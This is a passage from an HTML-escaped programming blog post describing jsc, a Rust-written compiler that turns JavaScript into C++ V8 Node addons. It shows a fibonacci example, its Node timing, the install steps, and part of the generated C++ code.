interpreter&lt;/em&gt;. I had only to translate a few lines to D and import/call
these existing libraries. Now I had a small &lt;em&gt;binary&lt;/em&gt; of compiled
Scheme.&lt;/p&gt;
&lt;p&gt;It was at this point I realized I was using the same technique used by
Cython to compile Python code.&lt;/p&gt;
&lt;p class="note"&gt;
  ...the Cython project has approached this problem by means of a
  source code compiler that translates Python code to equivalent C
  code. This code is executed within the CPython runtime environment,
  but at the speed of compiled C and with the ability to call directly
  into C libraries.

  &lt;a href="http://docs.cython.org/en/latest/src/quickstart/overview.html"&gt;
    http://docs.cython.org/en/latest/src/quickstart/overview.html
  &lt;/a&gt;
&lt;/p&gt;&lt;h3 id="jsc"&gt;jsc&lt;/h3&gt;&lt;p&gt;I played with many PL-research-y languages over the years and wanted
to do build something a little more practical. So I took what I
learned writing the BSDScheme compiler and decided to write a
Javascript compiler. Specifically, it would target the easiest backend
I could imagine: C++ using the V8 C++ library and generating a Node
addon.&lt;/p&gt;
&lt;p&gt;There already existed well-trodden guides/means of writing Node addons
in C++ so I spent some time trying to hand-compile simple Javascript
programs to C++ and V8. A string in Javascript would become a
&lt;code&gt;v8::String&lt;/code&gt; type in C++. A number in Javascript would become
&lt;code&gt;v8::Number&lt;/code&gt; in C++ and so forth.&lt;/p&gt;
&lt;p&gt;I decided to write this compiler in Rust given its roots in (and my
familiarity with) ML and Python. I found a &lt;a href="https://github.com/dherman/esprit"&gt;Javascript parser by Dave
Herman&lt;/a&gt; and after a few lazy weeks
finally got a "Hello world!" program compiling. Getting my first
program to compile has by far been the hardest part of building jsc.&lt;/p&gt;
&lt;p&gt;Let's look at a concrete example of a recursive fibonacci program
(example/recursion.js in the
&lt;a href="https://github.com/eatonphil/jsc"&gt;repo&lt;/a&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;20&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let's add a call to &lt;code&gt;main()&lt;/code&gt; at the end and time this with
Node to get a baseline:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;node&lt;span class="w"&gt; &lt;/span&gt;example/recursion.js
&lt;span class="m"&gt;6765&lt;/span&gt;
node&lt;span class="w"&gt; &lt;/span&gt;example/recursion.js&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.06s&lt;span class="w"&gt; &lt;/span&gt;user&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.02s&lt;span class="w"&gt; &lt;/span&gt;system&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;97&lt;/span&gt;%&lt;span class="w"&gt; &lt;/span&gt;cpu&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.083&lt;span class="w"&gt; &lt;/span&gt;total
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now let's install jsc to compare. We'll need Rust, Cargo, Node and
Node-GYP.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https:/github.com/eatonphil/jsc
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;jsc
$&lt;span class="w"&gt; &lt;/span&gt;make&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;make&lt;span class="w"&gt; &lt;/span&gt;install
$&lt;span class="w"&gt; &lt;/span&gt;jsc&lt;span class="w"&gt; &lt;/span&gt;example/recursion.js
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;jsc produces a Javascript entrypoint that imports our addon
(build/recursion.js):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nx"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;./build/Release/recursion&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;jsc_main&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And it produces a C++ file that represents the entire program
(build/recursion.cc):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;

&lt;span class="cp"&gt;#include&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cpf"&gt;&amp;lt;node.h&amp;gt;&lt;/span&gt;

&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;FunctionTemplate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;FunctionCallbackInfo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Isolate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;False&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;True&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;using&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;fib&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FunctionCallbackInfo&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Isolate&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetIsolate&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nl"&gt;tail_recurse_1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Context&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx_2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetCurrentContext&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;global_3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx_2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Global&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean_4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Function&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;::&lt;/span&gt;&lt;span class="n"&gt;Cast&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;global_3&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;NewFromUtf8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Boolean&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Utf8Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;utf8value_tmp_5&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;string_tmp_6&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;utf8value_tmp_5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Utf8Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;utf8value_tmp_7&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;string_tmp_8&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;utf8value_tmp_7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv_9&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsNumber&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsNumber&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToNumber&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Number&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IsString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="n"&gt;New&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;string_tmp_6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;string_tmp_8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;False&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;Local&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result_10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean_4&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Null&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;isolate&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv_9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result_10&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ToBoolean&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Value&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;GetReturnValue&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;Set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
